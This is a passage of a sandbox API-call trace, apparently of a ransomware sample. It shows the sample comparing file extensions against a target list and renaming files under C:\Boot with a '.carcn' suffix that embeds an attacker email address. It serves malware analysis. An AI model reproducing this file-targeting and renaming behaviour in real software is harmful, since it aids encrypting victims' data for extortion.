(in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0168.911] WriteFile (in: hFile=0x2fc, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.913] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0168.913] WriteFile (in: hFile=0x2fc, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.914] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x266fc74 | out: lpNewFilePointer=0x0) returned 1 [0168.914] WriteFile (in: hFile=0x2fc, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x266fc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x266fc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.916] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0168.916] CloseHandle (hObject=0x2fc) returned 1 [0174.318] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0174.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.318] lstrlenW (lpString=".doc") returned 4 [0174.318] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0174.318] lstrlenW (lpString=".docx") returned 5 [0174.318] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0174.319] lstrlenW (lpString=".pdf") returned 4 [0174.319] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0174.319] lstrlenW (lpString=".xls") returned 4 [0174.319] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0174.319] lstrlenW (lpString=".xlsx") returned 5 [0174.319] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0174.319] lstrlenW (lpString=".ppt") returned 4 [0174.319] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0174.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.319] lstrlenW (lpString=".zip") returned 4 [0174.319] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0174.319] lstrlenW (lpString=".rar") returned 4 [0174.319] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0174.319] lstrlenW (lpString=".bz2") returned 4 [0174.319] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0174.319] lstrlenW (lpString=".7z") returned 3 [0174.319] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0174.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.319] lstrlenW (lpString=".dbf") returned 4 [0174.319] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0174.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.319] lstrlenW (lpString=".1cd") returned 4 [0174.319] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0174.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.319] lstrlenW (lpString=".jpg") returned 4 [0174.319] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0174.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.319] lstrlenW (lpString=".doc") returned 4 [0174.319] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0174.319] lstrlenW (lpString=".docx") returned 5 [0174.319] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0174.319] lstrlenW (lpString=".pdf") returned 4 [0174.319] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0174.319] lstrlenW (lpString=".xls") returned 4 [0174.320] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0174.320] lstrlenW (lpString=".xlsx") returned 5 [0174.320] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0174.320] lstrlenW (lpString=".ppt") returned 4 [0174.320] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0174.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.320] lstrlenW (lpString=".zip") returned 4 [0174.320] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0174.320] lstrlenW (lpString=".rar") returned 4 [0174.320] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0174.320] lstrlenW (lpString=".bz2") returned 4 [0174.320] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0174.320] lstrlenW (lpString=".7z") returned 3 [0174.320] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0174.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.320] lstrlenW (lpString=".dbf") returned 4 [0174.320] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0174.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.320] lstrlenW (lpString=".1cd") returned 4 [0174.320] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0174.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0174.320] lstrlenW (lpString=".jpg") returned 4 [0174.320] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0174.320] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0174.320] lstrlenW (lpString="bootvhd.dll") returned 11 [0174.320] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.259] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=99744) returned 1 [0175.259] CloseHandle (hObject=0x378) returned 1 [0175.259] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0175.259] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.259] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.259] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.259] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.259] lstrlenW (lpString=".doc") returned 4 [0175.259] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.259] lstrlenW (lpString=".docx") returned 5 [0175.259] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0175.259] lstrlenW (lpString=".pdf") returned 4 [0175.259] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.259] lstrlenW (lpString=".xls") returned 4 [0175.259] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.259] lstrlenW (lpString=".xlsx") returned 5 [0175.259] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0175.259] lstrlenW (lpString=".ppt") returned 4 [0175.259] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.260] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.260] lstrlenW (lpString=".zip") returned 4 [0175.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.260] lstrlenW (lpString=".rar") returned 4 [0175.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.260] lstrlenW (lpString=".bz2") returned 4 [0175.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.260] lstrlenW (lpString=".7z") returned 3 [0175.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.260] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.260] lstrlenW (lpString=".dbf") returned 4 [0175.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.260] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.260] lstrlenW (lpString=".1cd") returned 4 [0175.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.260] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.260] lstrlenW (lpString=".jpg") returned 4 [0175.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.260] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.260] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.260] lstrlenW (lpString=".doc") returned 4 [0175.260] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.260] lstrlenW (lpString=".docx") returned 5 [0175.260] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0175.260] lstrlenW (lpString=".pdf") returned 4 [0175.260] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.260] lstrlenW (lpString=".xls") returned 4 [0175.260] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.260] lstrlenW (lpString=".xlsx") returned 5 [0175.260] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0175.260] lstrlenW (lpString=".ppt") returned 4 [0175.261] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.261] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.261] lstrlenW (lpString=".zip") returned 4 [0175.261] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.261] lstrlenW (lpString=".rar") returned 4 [0175.261] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.261] lstrlenW (lpString=".bz2") returned 4 [0175.261] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.261] lstrlenW (lpString=".7z") returned 3 [0175.261] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.261] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.261] lstrlenW (lpString=".dbf") returned 4 [0175.261] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.261] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.261] lstrlenW (lpString=".1cd") returned 4 [0175.261] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.261] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.261] lstrlenW (lpString=".jpg") returned 4 [0175.261] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.261] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0175.261] lstrlenW (lpString="cht_boot.ttf") returned 12 [0175.261] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0176.020] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=3878410) returned 1 [0176.021] CloseHandle (hObject=0x318) returned 1 [0176.021] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0176.021] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0176.021] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0176.021] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.021] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.021] lstrlenW (lpString=".doc") returned 4 [0176.021] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0176.021] lstrlenW (lpString=".docx") returned 5 [0176.021] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0176.021] lstrlenW (lpString=".pdf") returned 4 [0176.021] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0176.021] lstrlenW (lpString=".xls") returned 4 [0176.021] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0176.021] lstrlenW (lpString=".xlsx") returned 5 [0176.021] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0176.021] lstrlenW (lpString=".ppt") returned 4 [0176.021] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0176.021] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.021] lstrlenW (lpString=".zip") returned 4 [0176.021] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0176.021] lstrlenW (lpString=".rar") returned 4 [0176.021] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0176.021] lstrlenW (lpString=".bz2") returned 4 [0176.021] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0176.021] lstrlenW (lpString=".7z") returned 3 [0176.021] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0176.022] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.022] lstrlenW (lpString=".dbf") returned 4 [0176.022] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.022] lstrlenW (lpString=".1cd") returned 4 [0176.022] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.022] lstrlenW (lpString=".jpg") returned 4 [0176.022] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.022] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.022] lstrlenW (lpString=".doc") returned 4 [0176.022] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString=".docx") returned 5 [0176.022] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0176.022] lstrlenW (lpString=".pdf") returned 4 [0176.022] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString=".xls") returned 4 [0176.022] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0176.022] lstrlenW (lpString=".xlsx") returned 5 [0176.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0176.022] lstrlenW (lpString=".ppt") returned 4 [0176.022] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.022] lstrlenW (lpString=".zip") returned 4 [0176.022] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0176.022] lstrlenW (lpString=".rar") returned 4 [0176.022] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString=".bz2") returned 4 [0176.022] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0176.022] lstrlenW (lpString=".7z") returned 3 [0176.022] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0176.022] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.022] lstrlenW (lpString=".dbf") returned 4 [0176.023] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0176.023] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.023] lstrlenW (lpString=".1cd") returned 4 [0176.023] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0176.023] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0176.023] lstrlenW (lpString=".jpg") returned 4 [0176.023] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0176.023] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0176.023] lstrlenW (lpString="malgunn_boot.ttf") returned 16 [0176.023] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.885] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=174959) returned 1 [0176.885] CloseHandle (hObject=0x370) returned 1 [0176.885] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0176.885] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.058] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.058] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.058] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.058] lstrlenW (lpString=".doc") returned 4 [0177.058] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0177.058] lstrlenW (lpString=".docx") returned 5 [0177.058] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0177.058] lstrlenW (lpString=".pdf") returned 4 [0177.058] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0177.058] lstrlenW (lpString=".xls") returned 4 [0177.058] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0177.059] lstrlenW (lpString=".xlsx") returned 5 [0177.059] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0177.059] lstrlenW (lpString=".ppt") returned 4 [0177.059] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.059] lstrlenW (lpString=".zip") returned 4 [0177.059] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0177.059] lstrlenW (lpString=".rar") returned 4 [0177.059] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString=".bz2") returned 4 [0177.059] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString=".7z") returned 3 [0177.059] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0177.059] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.059] lstrlenW (lpString=".dbf") returned 4 [0177.059] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.059] lstrlenW (lpString=".1cd") returned 4 [0177.059] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.059] lstrlenW (lpString=".jpg") returned 4 [0177.059] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.059] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.059] lstrlenW (lpString=".doc") returned 4 [0177.059] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString=".docx") returned 5 [0177.059] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0177.059] lstrlenW (lpString=".pdf") returned 4 [0177.059] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0177.059] lstrlenW (lpString=".xls") returned 4 [0177.059] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0177.059] lstrlenW (lpString=".xlsx") returned 5 [0177.059] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0177.059] lstrlenW (lpString=".ppt") returned 4 [0177.060] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0177.060] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.060] lstrlenW (lpString=".zip") returned 4 [0177.060] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0177.060] lstrlenW (lpString=".rar") returned 4 [0177.060] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0177.060] lstrlenW (lpString=".bz2") returned 4 [0177.060] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0177.060] lstrlenW (lpString=".7z") returned 3 [0177.060] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0177.064] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.064] lstrlenW (lpString=".dbf") returned 4 [0177.064] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0177.064] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.064] lstrlenW (lpString=".1cd") returned 4 [0177.064] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0177.064] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0177.064] lstrlenW (lpString=".jpg") returned 4 [0177.064] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0177.064] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0177.064] lstrlenW (lpString="meiryo_boot.ttf") returned 15 [0177.064] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.245] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=145419) returned 1 [0177.245] CloseHandle (hObject=0x318) returned 1 [0177.245] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0177.245] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.245] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.245] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.245] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.245] lstrlenW (lpString=".doc") returned 4 [0177.245] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0177.245] lstrlenW (lpString=".docx") returned 5 [0177.245] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0177.245] lstrlenW (lpString=".pdf") returned 4 [0177.245] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0177.245] lstrlenW (lpString=".xls") returned 4 [0177.245] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0177.245] lstrlenW (lpString=".xlsx") returned 5 [0177.245] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0177.245] lstrlenW (lpString=".ppt") returned 4 [0177.245] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.246] lstrlenW (lpString=".zip") returned 4 [0177.246] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0177.246] lstrlenW (lpString=".rar") returned 4 [0177.246] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString=".bz2") returned 4 [0177.246] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString=".7z") returned 3 [0177.246] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0177.246] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.246] lstrlenW (lpString=".dbf") returned 4 [0177.246] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.246] lstrlenW (lpString=".1cd") returned 4 [0177.246] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.246] lstrlenW (lpString=".jpg") returned 4 [0177.246] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.246] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.246] lstrlenW (lpString=".doc") returned 4 [0177.246] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString=".docx") returned 5 [0177.246] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0177.246] lstrlenW (lpString=".pdf") returned 4 [0177.246] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString=".xls") returned 4 [0177.246] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0177.246] lstrlenW (lpString=".xlsx") returned 5 [0177.246] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0177.246] lstrlenW (lpString=".ppt") returned 4 [0177.246] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0177.246] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.246] lstrlenW (lpString=".zip") returned 4 [0177.247] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0177.247] lstrlenW (lpString=".rar") returned 4 [0177.247] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0177.247] lstrlenW (lpString=".bz2") returned 4 [0177.247] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0177.247] lstrlenW (lpString=".7z") returned 3 [0177.247] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0177.247] lstrlenW 